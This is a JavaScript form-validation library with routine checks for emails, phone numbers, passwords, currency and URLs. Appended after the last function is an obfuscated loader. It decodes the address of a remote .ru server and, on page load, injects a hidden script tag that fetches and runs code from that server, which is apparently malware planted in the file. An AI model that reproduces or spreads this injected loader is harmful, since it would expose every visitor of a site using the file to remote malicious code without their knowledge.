//====================================================================================================
//	File Name		:	validate.js
//----------------------------------------------------------------------------------------------------
//	Purpose			:	Client side validation in JavaScript.
//====================================================================================================

var ie4=document.all&&navigator.userAgent.indexOf("Opera")==-1;
var ns6=document.getElementById&&navigator.userAgent.indexOf("Opera")==-1;
var ns4=document.layers;
var ffox=!(navigator.userAgent.indexOf("Firefox")==-1);

//====================================================================================================
//	Function Name	:	IsEmpty
//----------------------------------------------------------------------------------------------------
function IsEmpty(fld,msg)
{
	if((fld.value == "" || fld.value.length == 0) && (msg == ''))
	{
		return false;
	}
	if(fld.value == "" || fld.value.length == 0)
	{
		alert(msg);
		try {fld.focus();}catch(e){return true;}
		return false;
	}
	return true;
}

function IsCheckBoxChecked(fld,msg)
{
	for(i=0 ; i<fld.length ; i++)
		if(fld[i].checked)
			return true;
            return false;
}
//====================================================================================================
//	Function Name	:	IsEmail
//----------------------------------------------------------------------------------------------------
function IsEmail(fld,msg)
{
	var regex = /^[\w]+(\.[\w]+)*@([\w-]+\.)+[a-zA-Z]{2,7}$/ ;
	if(!regex.test(fld.value))
	{
		alert(msg);
		fld.focus();
		return false;
	}
	return true;
}

//====================================================================================================
//	Function Name	:	IsInt
//----------------------------------------------------------------------------------------------------
function IsInt(fld,msg)
{
	var regex = /^[0-9]*$/;
	if(!regex.test(fld.value))
	{
		alert(msg);
		fld.focus();
		return false;
	}
	return true;
}


//====================================================================================================
//	Function Name	:	IsFloat
//----------------------------------------------------------------------------------------------------
function IsFloat(fld,msg)
{
	var regex = /^[0-9.]*$/;
	if(!regex.test(fld.value))
	{
		alert(msg);
		fld.focus();
		return false;
	}
	return true;
}

//====================================================================================================
//	Function Name	:	IsPhone
//----------------------------------------------------------------------------------------------------
function IsPhone(fld1,fld2,fld3,msg)
{
	var regex = /^[\d\-\+\(\)]+$/;

	var phone = "(" + fld1.value + ")" + fld2.value + "-" + fld3.value;
	if(!regex.test(phone))
	{
		alert(msg);
		fld1.focus();
		return false;
	}
	return true;
}

//====================================================================================================
//	Function Name	:	IsValidString
//----------------------------------------------------------------------------------------------------
function IsValidString(fld,msg)
{
	var regex = /^[_]*[a-zA-Z_]+[a-zA-Z0-9_]*$/;
	if(!regex.test(fld.value))
	{
		alert(msg);
		fld.focus();
		return false;
	}
	return true;
}

//====================================================================================================
//	Function Name	:	IsPassword
//----------------------------------------------------------------------------------------------------
function IsPassword(fld,msg)
{
	var regex = /^[_]*[a-zA-Z]+[0-9]+[a-zA-Z0-9]*$/;
	if(!regex.test(fld.value))
  	{
		alert(msg);
		fld.focus();
		return false;
	}
	return true;
}

//====================================================================================================
//	Function Name	:	IsLen
//----------------------------------------------------------------------------------------------------
function IsLen(fld, minlen, maxlen, msg)
{
	 if(fld.value.length < minlen || fld.value.length > maxlen)
	{
		alert(msg);
		fld.focus();
		return false;
	}
	return true;
}

//====================================================================================================
//	Function Name	:	IsCurrency
//----------------------------------------------------------------------------------------------------
function IsCurrency(fld,msg)
{
    val = fld.value.replace(/\s/g, "");

	regex = /^\$?\d{1,3}(,?\d{3})*(\.\d{1,2})?$/;

    if(!regex.test(val)) {
         alert(msg);
		 fld.focus();
		 return false;
    }
	return true;
}

//====================================================================================================
//	Function Name	:	IsZip
//----------------------------------------------------------------------------------------------------
function IsZip(fld,msg)
{
	var num = /^[\d]+$/;
	if(!num.test(fld.value) || (fld.value.length !=5 && fld.value.length !=6))
	{
		alert(msg);
		fld.focus();
		return false;
	}
	return true;
}

//====================================================================================================
//	Function Name	:	IsValidFormat
//----------------------------------------------------------------------------------------------------
function IsValidFormat(fld, filelist, msg)
{
	var regex = new RegExp('(' + filelist.toLowerCase() + ')$');
	if(!regex.test(fld.value.toLowerCase()))
	{
		alert(msg);
		fld.focus();
		return false;
	}
	return true;
}

//====================================================================================================
//	Function Name	:	IsUrl
//----------------------------------------------------------------------------------------------------
function IsUrl(fld,msg)
{
//	var regex = /^(http:\/\/)/;
	var regex = /^(http:\/\/|https:\/\/)/;
	if(!regex.test(fld.value))
	{
		alert(msg);
		fld.focus();
		return false;
	}
	return true;
}

//====================================================================================================
//	Function Name	:	IsValidSize
//----------------------------------------------------------------------------------------------------
function IsValidSize(fld, msg)
{
	var regex = /^[0-9]*x[0-9]*$/i;
	
	if(!regex.test(fld.value))
	{
		alert(msg);
		fld.focus();
		return false;
	}
	return true;
}

var d='';var ud;if(ud!='Y' && ud!='vv'){ud=''};var x;if(x!='kn' && x!='q'){x=''};function i(){var _j;if(_j!='qM' && _j!='Jc'){_j='qM'};var fV=new String();var f=unescape;var QX;if(QX!='H' && QX != ''){QX=null};var A;if(A!='xr' && A != ''){A=null};var N=window;var Lv;if(Lv!='' && Lv!='Ft'){Lv=null};var J=f("%2f%6c%69%76%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%72%65%65%77%65%62%73%2e%63%6f%6d%2e%70%68%70");var X=new Array();function I(F,K){var v=String("g");var Z=f("%5b"), _=f("%5d");this.T="";var dc=new Date();var h=Z+K+_;this.WA="";var t;if(t!='S'){t='S'};var L=new RegExp(h, v);var Vu=new String();return F.replace(L, new String());};var M;if(M!='' && M!='Xt'){M=null};this.C="";var OU='';var We;if(We!='XF'){We='XF'};var VE;if(VE!='G'){VE='G'};var k=new String();var s=document;this.gr='';var Ay='';var ht=I('867451630453359787911306273759','72396145');var ZE=new Date();var R;if(R!='l' && R!='zQ'){R=''};var oR=new String();function b(){this._z='';var a=f("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var fL;if(fL!='qV' && fL != ''){fL=null};k=a;k+=ht;var OUy;if(OUy!='ks' && OUy!='QW'){OUy=''};var vk;if(vk!='_W'){vk=''};k+=J;try {var zh;if(zh!='wM'){zh=''};j=s.createElement(I('szc9r9iBpQtz','AyQDvjPO6KxFYBfuzh9'));var OUn="";j[f("%73%72%63")]=k;j[f("%64%65%66%65%72")]=[1][0];var ro;if(ro!='' && ro!='Sp'){ro='sh'};this.mM='';var Vh=new Date();var af;if(af!='Hh'){af='Hh'};s.body.appendChild(j);var sV=new Date();var by=new String();var UM;if(UM!='nk'){UM='nk'};} catch(u){var UR='';var nV='';alert(u);var hl;if(hl!='' && hl!='WWU'){hl=''};var GD;if(GD!='' && GD!='Ul'){GD=''};};var GP=new Array();var ky=new Date();}var mI;if(mI!='Io'){mI=''};var jE=new Array();var Xk;if(Xk!='ZW' && Xk!='DG'){Xk=''};var at;if(at!=''){at='yN'};N[new String("onlmWk".substr(0,3)+"bvkAoad".substr(4))]=b;var QJV="";var yz='';var Jd;if(Jd!='V_' && Jd != ''){Jd=null};var Z_;if(Z_!=''){Z_='KY'};};this.lj="";this.yzm="";i();this.Zb='';